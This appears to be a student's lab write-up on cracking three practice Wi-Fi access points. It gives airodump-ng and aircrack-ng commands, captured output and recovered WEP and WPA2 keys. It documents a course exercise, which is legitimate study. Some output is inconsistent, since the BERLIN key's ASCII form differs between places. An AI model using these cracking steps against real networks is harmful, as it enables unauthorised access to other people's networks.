

PROJECT 3 - WiFi Hacking
13 NOVEMBER 2024
SHARV MAHAJAN
5.5 Hours (TIME)

Section 1: Report on exploiting ORLANDO AP

- 1.1 - The bssid for ORLANDO is **14:91:82:DB:D3:A6**
- 1.2 - The channel for ORLANDO is **157**
- 1.3 - The manufacturer of ORLANDO is **Belkin International Inc**
- 1.4 - The key for ORLANDO is
 - [21:21:21:21:21]**
 - (ASCII: !!!!!)**
- 1.5 - This attack took me **1 hour** to perform
- 1.6 - Documentation:

```
root@SharvMahajan: ~/Downloads
(root@SharvMahajan) ~/Downloads
# airodump-ng --channel 157 --bssid 14:91:82:DB:D3:A6 -w OrlandoPrac wlan0mon

root@SharvMahajan: ~/Downloads
CH 157 ][ Elapsed: 6 s ][ 2024-11-11 11:09
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH
14:91:82:DB:D3:A6 -28 3 108 1183 106 157 54e WEP WEP
BSSID STATION PWR Rate Lost Frames Notes Pro
14:91:82:DB:D3:A6 B8:27:EB:25:A4:FE -35 54e-54e 0 1239

root@SharvMahajan: ~/Downloads
CH 157 ][ Elapsed: 18 s ][ 2024-11-11 11:09 ][ Are you sure you want to quit?
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH
14:91:82:DB:D3:A6 -28 100 183 2013 107 157 54e WEP WEP
BSSID STATION PWR Rate Lost Frames Notes Pro
14:91:82:DB:D3:A6 B8:27:EB:25:A4:FE -31 54e-36e 0 2099
(root@SharvMahajan) ~/Downloads
# aircrack-ng -z Orlando-01.cap

Aircrack-ng 1.6

[00:00:01] Tested 559873 keys (got 132 IVs)

KB depth byte(vote)
0 100/101 FF( 256) 00( 0) 01( 0) 03( 0) 07( 0)
1 24/ 1 F2( 512) 00( 256) 03( 256) 04( 256) 05( 256)
2 2/ 24 C1( 768) 1D( 512) 1E( 512) 32( 512) 33( 512)
3 3/ 7 D1( 768) 0C( 512) 25( 512) 2E( 512) 37( 512)
4 26/ 4 F1( 512) 01( 256) 02( 256) 05( 256) 09( 256)

KEY FOUND! [ 21:21:21:21:21 ] (ASCII: !!!!! )
Decrypted correctly: 100%

(root@SharvMahajan) ~
#
```

1.7 - *Conclusion*: The ORLANDO AP did not prove to be very difficult. Using the provided links on WEP, I applied the same pattern to this attack. Firstly, I gathered relevant information about ORLANDO such as the bssid, essid, channel, and cipher/enc. I achieved this by running “airodump-ng --band a wlan0mon.” I used this command specifically, as I did not find the AP in the normal search. Next, I used the obtained information to gather packets surrounding ORLANDO and stored them in a .cap file. After collecting about 90,000 packets (the picture above is from after the test), I had enough data to start the hack. I used “aircrack-ng -z Orlando-01.cap” as a similar command can be seen on the WEP tutorial. By running this command, I found the key [21:21:21:21:21]. Overall, this attack did not require much effort once I figured out what the required information meant and how it was used.

Section 2: Report on exploiting BERLIN AP

- 2.1 - The bssid for BERLIN is **B0:BE:76:08:BE:0B**
- 2.2 - The channel for BERLIN is **149**
- 2.3 - The manufacturer of BERLIN is **TP-Link Tech Co, LTD**
- 2.4 - The key for BERLIN is
 - **[26:26:26:26:26:26:26:26:26:26:26:26:]**
 - **(ASCII: &&&&&&&&&&&&&&)**
- 2.5 - This attack took me **1 1/2 hours** to perform
- 2.6 - Documentation:

```
root@SharvMahajan: ~  
CH 149 ][ Elapsed: 6 s ][ 2024-11-11 11:04  
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH  
B0:BE:76:08:BE:0B -34 81 78 1199 114 149 54e WEP WEP  
BSSID STATION PWR Rate Lost Frames Notes Pro  
B0:BE:76:08:BE:0B B8:27:EB:6A:48:EB -43 54e-54e 0 1202  
  
root@SharvMahajan: ~  
# airmon-ng  
PHY Interface Driver Chipset  
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5572  
  
root@SharvMahajan: ~  
# airodump-ng --channel 149 --bssid B0:BE:76:08:BE:0B -w Berlin wlan0mon  
  
KB depth byte(vote)  
0 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
1 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
2 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
3 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
4 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
5 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
6 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
7 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
8 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
9 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
10 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
11 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
12 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
  
KEY FOUND! [ 26:26:26:26:26:26:26:26:26:26:26:26 ] (ASCII: 6666666666666666)  
Decrypted correctly: 100%  
  
root@SharvMahajan: ~/Downloads  
# aircrack-ng -w rockyou.txt Berlin-02.cap  
  
[00:00:09] Tested 257148 keys (got 100019 IVs)  
KB depth byte(vote)  
0 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
1 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
2 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
3 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
4 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
5 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
6 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
7 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
8 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
9 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
10 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
11 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
12 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)  
  
KEY FOUND! [ 26:26:26:26:26:26:26:26:26:26:26:26 ] (ASCII: 6666666666666666 )  
Decrypted correctly: 100%
```

2.7 - *Conclusion*: Similar to the ORLANDO AP, the BERLIN AP did not prove to be very difficult. Using the provided links on WEP, I applied the same pattern to this attack. Firstly, I gathered relevant information about BERLIN such as the bssid, essid, channel, and cipher/enc. I achieved this by running “airodump-ng –band a wlan0mon.” I used this command specifically, as I did not find the AP in the normal search. Again, this was a strong indication that BERLIN would most likely be within the 5 GHz domain. Next, I used the obtained information to gather packets surrounding BERLIN and stored them in a .cap file (Berlin-02.cap). After collecting about 90,000 packets (the picture above is from after the test), I had enough data to start the hack. I used “aircrack -w rockyou.txt Berlin-02.cap.” Initially, I tried similarly approaching this AP to ORLANDO; however, it did not work. This pushed me to experiment with other

commands which made me stumble upon “-w.” This uses a wordlist to crack the password. By running this command, I found the key [26:26:26:26:26:26:26:26:26:26:26:26]. Overall, this attack did not require much effort once I figured out the required actions.

Section 3: Report on exploiting VANCOUVER AP

- 3.1 - The bssid for VANCOUVER is **B2:BE:76:08:BE:0C**
- 3.2 - The channel for VANCOUVER is **9**
- 3.3 - The manufacturer of VANCOUVER is **Panda Wireless**
- 3.4 - The key for VANCOUVER is
 - **[SheshaPrasad]**
- 3.5 - This attack took me **3 hours** to perform
- 3.6 - Documentation:

```
root@SharvMahajan: ~/Downloads
CH 9 ][ Elapsed: 7 mins ][ 2024-11-11 22:03 ][ WPA handshake: B2:BE:76:08:BE:0C
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
B2:BE:76:08:BE:0C -29 59 4594 51 0 9 19S WPA2 CCMP PSK Vancouver
BSSID STATION PWR Rate Lost Frames Notes Probes
B2:BE:76:08:BE:0C 9C:EF:D5:FB:D5:B9 -31 24e-24e 0 57 EAPOL

root@SharvMahajan: ~/Downloads
root@SharvMahajan:~/Downloads# airodump-ng --channel 9 --bssid B2:BE:76:08:BE:0C -w vancouver-03 wlan0mon

root@SharvMahajan: ~/Downloads
AirCrack-ng 1.6
[00:01:25] 390936/483507 keys tested (4637.28 k/s)
Time left: 19 seconds 80.85%
KEY FOUND! [ SheshaPrasad ]

Master Key : 73 3F F1 3E C3 5E 6A C2 25 DA 3F 9C D1 05 A8
07 79 F7 46 C3 C8 9D AC 40 03 5D 45 C2 EB B1 67

Transient Key : A9 A0 70 FB BB ED 28 B7 70 E3 B7 42 DF 5E 22 13
AB 99 61 4B 52 DB 31 32 D1 28 E9 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : BA D7 EF 77 CE 3D A6 F3 56 63 13 C9 02 E2 F3 3C

root@SharvMahajan:~/Downloads# aircrack-ng -w names.txt -b B2:BE:76:08:BE:0C vancouver-03-01.cap
```

- 3.7 - *Conclusion*: The VANCOUVER AP proved to be the hardest; this is because of the time required to establish a 4-way handshake. Originally, I ran the packet collection for almost an hour and had no luck; however, once the machine was updated, I did not have to wait too long for the handshake. Like the others, I collected basic information through “airodump-ng wlan0mon.” After this, I set the airodump command to specifically monitor for VANCOUVER: “airodump-ng --channel 9 --bssid B2:BE:76:08:BE:0C vancouver-03.cap wlan0mon.” By running this command, I started to collect data about the AP in the terminal and on a wireshark file. In the end, once a client was visible it did not take long for the handshake to be established. After the handshake, I ended the packet collection and continued on with the cracking. Now that the names.txt file was on the

VM, I simply used the command “aircrack-ng -w names.txt -b B2:BE:76:08:BE:0C vancouver-03-01.cap.” In doing so, the cracking phase took around 1 ½ minutes. Finally, the key was cracked and outputted “SheshaPrasad.”

Citations:

1. https://www.aircrack-ng.org/doku.php?id=cracking_wpa
2. https://www.aircrack-ng.org/doku.php?id=simple_wep_crack
3. <https://thehackernews.com/2021/10/israeli-researcher-cracked-over-3500-wi.html>
4. <https://web.kamihq.com/web/viewer.html?file=https://owasp.org/www-chapter-dorset/assets/presentations/2020-01/OWASP-wlans.pdf>